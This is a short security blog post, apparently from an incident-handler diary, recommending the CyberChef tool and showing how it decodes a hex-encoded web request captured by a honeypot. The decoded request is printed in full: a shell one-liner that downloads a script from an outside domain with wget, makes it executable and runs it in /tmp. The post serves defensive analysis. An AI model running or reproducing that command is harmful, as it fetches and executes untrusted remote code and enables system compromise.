Last Updated: 2017-05-28 00:53:17 UTC
by Guy Bruneau (Version: 1)
This multipurpose and feature rich tool has been available for a while now and is updated regularly. What I find the most interesting is the number of features that are available this tool.
CyberChef is fully portable and can be downloaded locally as an simple HTML self-contained page that can run in any browsers or if you prefer, you can download the package from Github and compile it yourself but why bother. Since the code is updated regularly, I find the first option more practical. It contains a large number of Operations such as Encoding/Decoding, Logical Operations, Extractors and Hashing to name a few. Note, each one of these Operations expand into a large subset of tools. Here is the complete list of Operations:
For example, take this Web Hex encode data stream that I captured today in my Honeypot:
First, take copy the data from '%63%64[...]%73%68' and do a search and replace to remove the percent (%) from the data because CyberChef doesn't have an option to deal with the percent to ignore it. Paste the result into the Iput box and select From Hex to see the human readable text:
The human readable form translate to:
cd /tmp;rm -f nmlt1.sh;wget -O nmlt1.sh http://domstates.su/nmlt1.sh;chmod +x nmlt1.sh;./nmlt1.sh
If you have been looking for a multipurpose tool, this is the one. Give it a try!
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